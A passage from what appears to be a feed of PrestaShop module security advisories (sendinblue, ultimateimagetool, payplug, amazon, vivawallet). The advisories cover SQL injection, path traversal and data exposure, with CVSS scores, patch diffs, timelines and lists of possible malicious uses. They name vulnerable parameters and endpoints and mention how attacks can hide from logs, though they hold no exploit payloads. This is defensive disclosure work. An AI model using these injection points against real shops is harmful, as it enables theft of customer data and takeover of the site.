<p>For PrestaShop 1.6, with sendinblue version 2.8.8, apply this patch:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/sendinblue/ajaxOrderTracking.php
</span><span class="gi">+++ b/modules/sendinblue/ajaxOrderTracking.php
</span><span class="p">@@ -59,7 +59,7 @@</span> if ($sendin_order_track_status == 0) {
         $dateFormate = 'm-d-Y';
     }
     $condition = '';
<span class="gd">-    $id_shop_group = !empty($id_shop_group) ? $id_shop_group : 'NULL';
</span><span class="gi">+    $id_shop_group = !empty($id_shop_group) ? (int) $id_shop_group : 'NULL';
</span>     $id_shop = !empty($id_shop) ? $id_shop : 'NULL';
     
     if ($id_shop === 'NULL' &amp;&amp; $id_shop_group === 'NULL') {

</code></pre></div></div>

<p>For PrestaShop 1.7, with sendinblue version 4.x, <em>remove all files ajaxXXX.php</em> especially <em>ajaxOrderTracking.php</em>.</p>

<h2 id="other-recommandations">Other recommandations</h2>

<ul>
  <li>It’s <strong>highly recommended to upgrade the module</strong> to the latest version or to <strong>delete</strong> the module if unused.</li>
  <li>
    <ul>
      <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
    </ul>
  </li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-12-02</td>
      <td>Issue discovered during a code reviews by 202 ecommerce</td>
    </tr>
    <tr>
      <td>2022-12-02</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-12-19</td>
      <td>First fixed candidate from the author 4.0.15 for PrestaShop 1.7. PrestShop 1.6 remain vulnerable</td>
    </tr>
    <tr>
      <td>2022-12-19</td>
      <td>Contact the author to fix others vulnerabilities</td>
    </tr>
    <tr>
      <td>2023-01-31</td>
      <td>Contact PrestaShop team to claim a fix on all available package downloadable</td>
    </tr>
    <tr>
      <td>2023-02-12</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-07-23</td>
      <td>Publication of the CVE</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/newsletter-sms/8300-sendinblue-all-in-one-marketing-tool.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26859">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Sendinblue - All-in-one marketing tool” (sendinblue) up to versions 4.0.14 from Sendinblue for PrestaShop, an anonymous user can perform SQL injection in affected versions if double optin is enabled. 4.0.15 fixed vulnerabilities.]]></summary></entry><entry><title type="html">[CVE-2023-30200] Improper Limitation of a Pathname to a Restricted Directory in Advanced Plugins - Image: WebP, Compress, Zoom, Lazy load, Alt &amp;amp; More module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/07/20/ultimateimagetool.html" rel="alternate" type="text/html" title="[CVE-2023-30200] Improper Limitation of a Pathname to a Restricted Directory in Advanced Plugins - Image: WebP, Compress, Zoom, Lazy load, Alt &amp;amp; More module for PrestaShop" /><published>2023-07-20T00:00:00+00:00</published><updated>2023-07-20T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/07/20/ultimateimagetool</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/07/20/ultimateimagetool.html"><![CDATA[<p>In the module “Image: WebP, Compress, Zoom, Lazy load, Alt &amp; More” (ultimateimagetool) in versions up to 2.1.02 from Advanced Plugins for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30200">CVE-2023-30200</a></li>
  <li><strong>Published at</strong>: 2023-07-20</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ultimateimagetool</li>
  <li><strong>Impacted release</strong>: &lt;= 2.1.02 (considered to be “truly” fixed on 2.1.03 - see note below)</li>
  <li><strong>Product author</strong>: Advanced Plugins</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of control in the path name construction, a guest can perform a path traversal to view all files on the information system.</p>

<p>Note : The author has deleted from its module the file that have been suffering from this leak for months, BUT did not set it to be “auto-deleted” during upgrades. Therefore, there are likely merchants out there with older versions who have updated their modules thinking they are safe. However, there is nothing safe about this since past upgrades do not auto-delete the implicated file. To ensure everyone has a “safe version”, we decided to mark all versions up to 2.1.02 as impacted by this issue.</p>

<p><strong>WARNING</strong> : We are forced to tag it as a medium gravity due to the CWE type 22 but be warned that on our ecosystem, it must be considered critical since it unlocks hundreds admin’s ajax script of modules due to <a href="https://github.com/PrestaShop/PrestaShop/blob/6c05518b807d014ee8edb811041e3de232520c28/classes/Tools.php#L1247">the behaviour of PrestaShop core</a> Tools::hash() method</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Stealing secrets to unlock admin controllers based on ajax script</li>
  <li>Exfiltrate all modules with all versions to facilitate pentesting</li>
  <li>Stealing table_prefix to greatly facilitate SQL injections for kiddies who don’t know how to exploit DBMS design’s vulnerabilities or steal database access to login in exposed PHPMyAdmin/Adminer/etc.</li>
  <li>Bypass WAF / htaccess restrictions to read forbidden files (such as logs on predictable paths of banks’s modules inside /var/log/)</li>
</ul>

<h2 id="patch-from-1596">Patch from 1.5.96</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.5.96/modules/ultimateimagetool/image.php
</span><span class="gi">+++ XXXXXX/modules/ultimateimagetool/image.php
</span><span class="gd">-	$src = urldecode($_GET['image']);
</span><span class="gi">+	$src = basename(urldecode($_GET['image']));
</span></code></pre></div></div>

<p>Be warned that this fix is perfectible. See recommendations below.</p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>ultimateimagetool</strong>.</li>
  <li>You should consider restricting the access of modules/ultimateimagetool/images.php to a whitelist</li>
  <li>NEVER expose a PHPMyAdmin / Adminer / etc without, at least, a htpasswd</li>
  <li>Activate OWASP 930’s rules on your WAF (Web application firewall) and adjust it for your PrestaShop</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-03-29</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-03-29</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-04-01</td>
      <td>Request CVE ID</td>
    </tr>
    <tr>
      <td>2023-04-18</td>
      <td>PrestaShop Addons confirms versions scopes</td>
    </tr>
    <tr>
      <td>2023-04-18</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-04-24</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-07-20</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/visuels-produits/27669-image-webp-compression-regeneration.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30200">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Image: WebP, Compress, Zoom, Lazy load, Alt &amp; More” (ultimateimagetool) in versions up to 2.1.02 from Advanced Plugins for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.]]></summary></entry><entry><title type="html">[CVE-2023-30153] Improper neutralization of a SQL parameter in the Payplug (payplug) module for PrestaShop</title><link href="https://security.friendsofpresta.org/module/2023/07/18/payplug.html" rel="alternate" type="text/html" title="[CVE-2023-30153] Improper neutralization of a SQL parameter in the Payplug (payplug) module for PrestaShop" /><published>2023-07-18T00:00:00+00:00</published><updated>2023-07-18T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/module/2023/07/18/payplug</id><content type="html" xml:base="https://security.friendsofpresta.org/module/2023/07/18/payplug.html"><![CDATA[<p>SQL injection vulnerability in the Payplug (payplug) module for PrestaShop, in versions 3.6.0, 3.6.1, 3.6.2, 3.6.3, 3.7.0 and 3.7.1, allows remote attackers to execute arbitrary SQL commands via the <code class="language-plaintext highlighter-rouge">ajax.php</code> front controller.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30153">CVE-2023-30153</a></li>
  <li><strong>Published at</strong>: 2023-07-18</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: payplug</li>
  <li><strong>Impacted release</strong>: 3.6.0,3.6.1,3.6.2,3.6.3,3.7.0,3.7.1 (fixed in 3.8.2)</li>
  <li><strong>Product author</strong>: Payplug</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>In the Payplug (payplug) module for PrestaShop, in versions 3.6.0, 3.6.1, 3.6.2, 3.6.3, 3.7.0 and 3.7.1 (fixed in 3.8.2), an HTTP request can be manipulated using <code class="language-plaintext highlighter-rouge">cart_id</code> GET parameter, in the <code class="language-plaintext highlighter-rouge">/module/payplug/ajax</code> FrontController endpoint, enabling a remote attacker to perform an SQL injection. The issue is fixed in version 3.8.2, published on July 2022. At our knowledge, there has been no public release between 3.7.1 and 3.8.2.</p>

<p>PayPlug communicated directly with their customers several times, informing them of the vulnerability and requesting that they upgrade the module to the latest known version. They also took action on their side to prevent customers from using a vulnerable version, requiring them to upgrade the version in order to continue using their service.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs</strong>. Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch">Patch</h2>

<p><strong>IMPORTANT</strong>: PayPlug is now preventing customers using outdated versions from accessing their service. As a result, simply patching the module will not be enough to restore the service for those using older versions. An upgrade of the module is therefore necessary.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/controllers/front/ajax.php
</span><span class="gi">+++ b/controllers/front/ajax.php
</span><span class="p">@@ -243,7 +243,7 @@</span> class PayplugAjaxModuleFrontController extends ModuleFrontController
                     -&gt;select()
                     -&gt;fields('id_payment')
                     -&gt;from(_DB_PREFIX_ . 'payplug_payment')
<span class="gd">-                    -&gt;where('id_cart = ' . $cart_id)
</span><span class="gi">+                    -&gt;where('id_cart = ' . (int)$cart_id)
</span>                     -&gt;build('unique_value');
                 if ($payment_id != $current_payment_id) {
                     die(json_encode([
</code></pre></div></div>

<h2 id="other-recommandations">Other recommandations</h2>

<ul>
  <li>It’s <strong>highly recommended to upgrade the module</strong> to the latest version or to <strong>delete</strong> the module if unused.</li>
  <li>
    <ul>
      <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
    </ul>
  </li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-10</td>
      <td>Discovery of the vulnerability by Profileo</td>
    </tr>
    <tr>
      <td>2022-09-10</td>
      <td>Contacting the editor to disclose the vulnerability</td>
    </tr>
    <tr>
      <td>2022-09-16</td>
      <td>The editor confirmed the vulnerability, already fixed in version 3.8.2</td>
    </tr>
    <tr>
      <td>2023-04-02</td>
      <td>Contacting the editor to suggest a publication of the security advisory on their hand</td>
    </tr>
    <tr>
      <td>2023-04-11</td>
      <td>Meeting with the editor to discuss process of disclosing the vulnerability (the editor informed impacted clients individually)</td>
    </tr>
    <tr>
      <td>2023-04-21</td>
      <td>Obtaining the CVE ID from mitre</td>
    </tr>
    <tr>
      <td>2023-05-05</td>
      <td>Contacting the editor again to suggest the publication of the security advisory on their hand</td>
    </tr>
    <tr>
      <td>2023-05-12</td>
      <td>Contacting the editor to request an update about publication</td>
    </tr>
    <tr>
      <td>2023-05-22</td>
      <td>Response from the editor informing us that the publication will not be done on their hand (the editor informed their clients individually and is now blocking old versions of the module from accessing the service)</td>
    </tr>
    <tr>
      <td>2023-06-01</td>
      <td>Informing the editor of upcoming publication</td>
    </tr>
    <tr>
      <td>2023-07-06</td>
      <td>Notify Payplug of the upcoming publication on July 18, asking for feedback before publication</td>
    </tr>
    <tr>
      <td>2023-07-18</td>
      <td>Publication of this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/payment-card-wallet/8795--payplug-accept-customer-payments-wherever-they-are.html">Module Payplug</a></li>
  <li><a href="https://www.payplug.com/">Editor Website</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30153">National Vulnerability Database CVE-2023-30153</a></li>
</ul>]]></content><author><name>[&quot;Profileo.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="module" /><summary type="html"><![CDATA[SQL injection vulnerability in the Payplug (payplug) module for PrestaShop, in versions 3.6.0, 3.6.1, 3.6.2, 3.6.3, 3.7.0 and 3.7.1, allows remote attackers to execute arbitrary SQL commands via the ajax.php front controller.]]></summary></entry><entry><title type="html">[CVE-2023-33777] Exposure of Private Personal Information to an Unauthorized Actor in Common Services - Amazon module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/07/13/amazon.html" rel="alternate" type="text/html" title="[CVE-2023-33777] Exposure of Private Personal Information to an Unauthorized Actor in Common Services - Amazon module for PrestaShop" /><published>2023-07-13T00:00:00+00:00</published><updated>2023-07-13T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/07/13/amazon</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/07/13/amazon.html"><![CDATA[<p>In the module “Amazon” (amazon) up to version 5.2.23 from Common Services for PrestaShop, a guest can access personal data.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33777">CVE-2023-33777</a></li>
  <li><strong>Published at</strong>: 2023-07-13</li>
  <li><strong>Advisory source</strong>: PrestaShop</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: amazon</li>
  <li><strong>Impacted release</strong>: &lt;= 5.2.23 (5.2.24 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Common Services</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a></li>
  <li><strong>Severity</strong>: medium (5.3)</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions’s control, a guest can access personal data including an order’s secret from the module which can lead to leak of personal information from ps_customer table sush as name / surname and be used in others modules which protect access with this secret.</p>

<p>Be warned the module can expose others sensitives technicals information in another way, see “Other recommendations” below.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: low</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
</ul>

<h2 id="patch-from-1713">Patch from 17.1.3</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/functions/fbaorder.php b/functions/fbaorder.php
index 87ea4d2..6e0a4db 100644
</span><span class="gd">--- a/functions/fbaorder.php
</span><span class="gi">+++ b/functions/fbaorder.php
</span><span class="p">@@ -37,0 +38,4 @@</span> class AmazonFBAOrder extends AmazonFunction
<span class="gi">+        if (!$this-&gt;functionAuthorization()) {
+            die('Wrong Token');
+        }
+
</span><span class="gh">diff --git a/functions/orders.php b/functions/orders.php
index 0a0361f..4874d89 100644
</span><span class="gd">--- a/functions/orders.php
</span><span class="gi">+++ b/functions/orders.php
</span><span class="p">@@ -64,0 +65,4 @@</span> class AmazonListOrder extends AmazonFunction
<span class="gi">+        if (!$this-&gt;functionAuthorization()) {
+            die('Wrong Token');
+        }
+
</span><span class="gh">diff --git a/functions/orders/import_selection.php b/functions/orders/import_selection.php
index db86901..a7a88f7 100644
</span><span class="gd">--- a/functions/orders/import_selection.php
</span><span class="gi">+++ b/functions/orders/import_selection.php
</span><span class="p">@@ -14,0 +15,4 @@</span> class AmazonFunctionOrderImportSelection extends AmazonImportOrder
<span class="gi">+        if (!$this-&gt;functionAuthorization()) {
+            die('Wrong Token');
+        }
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>amazon</strong> up to 5.2.24</li>
  <li>You should restrict access to a given whitelist these paths : /modules/amazon/functions/ and /modules/amazon/support/</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-03-21</td>
      <td>Issue discovered after a security audit by <a href="https://vitalyn.com">Vitalyn</a></td>
    </tr>
    <tr>
      <td>2023-03-21</td>
      <td>Contact Author</td>
    </tr>
    <tr>
      <td>2023-03-24</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-05-18</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-26</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-07-13</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/marketplace/2501-amazon-market-place.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-33777">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Vitalyn.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Amazon” (amazon) up to version 5.2.23 from Common Services for PrestaShop, a guest can access personal data.]]></summary></entry><entry><title type="html">[CVE-2023-26861] Improper neutralization of several SQL parameters in vivawallet module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/07/11/vivawallet.html" rel="alternate" type="text/html" title="[CVE-2023-26861] Improper neutralization of several SQL parameters in vivawallet module for PrestaShop" /><published>2023-07-11T00:00:00+00:00</published><updated>2023-07-11T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/07/11/vivawallet</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/07/11/vivawallet.html"><![CDATA[<p>The deprecated module “vivawallet” (name of the directory) edited by Viva Wallet prior to 1.7.9 for PrestaShop has several SQL injections.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26861">CVE-2023-26861</a></li>
  <li><strong>Published at</strong>: 2023-07-11</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Vendor</strong>: PrestaShop</li>
  <li><strong>Product</strong>: vivawallet</li>
  <li><strong>Impacted release</strong>: &lt; 1.7.9</li>
  <li><strong>Product author</strong>: Viva Wallet</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The deprecated PrestaShop <a href="https://github.com/VivaPayments/API/commit/c1169680508c6e144d3e102ebdb257612e4cd84a">module VivaWallet removed on github</a> on Oct 19, 2022 has sensitive SQL calls that can be exploited to manage a blind SQL injection on front controller fail.php, success.php and webhook.php.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs</strong>. Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to exposed tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patches">Patches</h2>

<p>Advice: Remove vivawallet and install vivawalletsmartcheckout instead.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/vivawallet/controllers/front/fail.php
</span><span class="gi">+++ b/vivawallet/controllers/front/fail.php
</span><span class="p">@@ -9,7 +9,7 @@</span> class VivawalletFailModuleFrontController
   
 	  if(isset($_GET['s']) &amp;&amp; $_GET['s']!=''){
 
<span class="gd">-	  $OrderCode = stripslashes($_GET['s']);
</span><span class="gi">+	  $OrderCode = pSQL($_GET['s']);
</span> 	  
 	  $check_query = "select * from vivawallet_data where OrderCode='".$OrderCode."' ORDER BY id DESC";
 	  $check = Db::getInstance()-&gt;executeS($check_query, $array = true, $use_cache = 0);

--- a/vivawallet/controllers/front/success.php
<span class="gi">+++ b/vivawallet/controllers/front/success.php
</span><span class="p">@@ -9,7 +9,7 @@</span> class VivawalletSuccessModuleFrontContro
 	
 	  if(isset($_GET['s']) &amp;&amp; $_GET['s']!=''){
 	  $errors = '';
<span class="gd">-	  $OrderCode = stripslashes($_GET['s']);
</span><span class="gi">+	  $OrderCode = pSQL($_GET['s']);
</span> 	  
 	  $check_query = "select * from vivawallet_data where OrderCode='".$OrderCode."' ORDER BY id DESC";
 	  $check = Db::getInstance()-&gt;executeS($check_query, $array = true, $use_cache = 0);

--- a/vivawallet/controllers/front/webhook.php
<span class="gi">+++ b/vivawallet/controllers/front/webhook.php
</span><span class="p">@@ -65,7 +65,7 @@</span> class VivawalletWebhookModuleFrontContro
 		$OrderCode = $resultObj-&gt;EventData-&gt;OrderCode;
 		$TransactionId = $resultObj-&gt;EventData-&gt;TransactionId;
 		
<span class="gd">-		$check_query = "select * from vivawallet_data where OrderCode='".$OrderCode."' ORDER BY id DESC";
</span><span class="gi">+		$check_query = "select * from vivawallet_data where OrderCode='".pSQL($OrderCode)."' ORDER BY id DESC";
</span> 	    $check = Db::getInstance()-&gt;executeS($transtat_query, $array = true, $use_cache = 0);
 	    $oid = $transtat[0]['ref'];
 		
<span class="p">@@ -106,11 +106,11 @@</span> class VivawalletWebhookModuleFrontContro
 	    $currency = $this-&gt;context-&gt;currency;
 	    $total = (float)$cart-&gt;getOrderTotal(true, Cart::BOTH);
 	
<span class="gd">-		  $transtat_query = "select * from vivawallet_data where OrderCode='".$OrderCode."' ORDER BY id DESC";
</span><span class="gi">+		  $transtat_query = "select * from vivawallet_data where OrderCode='".pSQL($OrderCode)."' ORDER BY id DESC";
</span> 		  $transtat = Db::getInstance()-&gt;executeS($transtat_query, $array = true, $use_cache = 0);
 		  
 		  if($transtat[0]['order_state']=='I' &amp;&amp; $StatusId=='F'){
<span class="gd">-		  $update_query = "update vivawallet_data set order_state='P' where OrderCode='".$OrderCode."'";
</span><span class="gi">+		  $update_query = "update vivawallet_data set order_state='P' where OrderCode='".pSQL($OrderCode)."'";
</span> 		  $update = Db::getInstance()-&gt;execute($update_query);
 		
 		  $details = array(
</code></pre></div></div>

<h2 id="other-recommandations">Other recommandations</h2>

<ul>
  <li>
    <ul>
      <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
    </ul>
  </li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

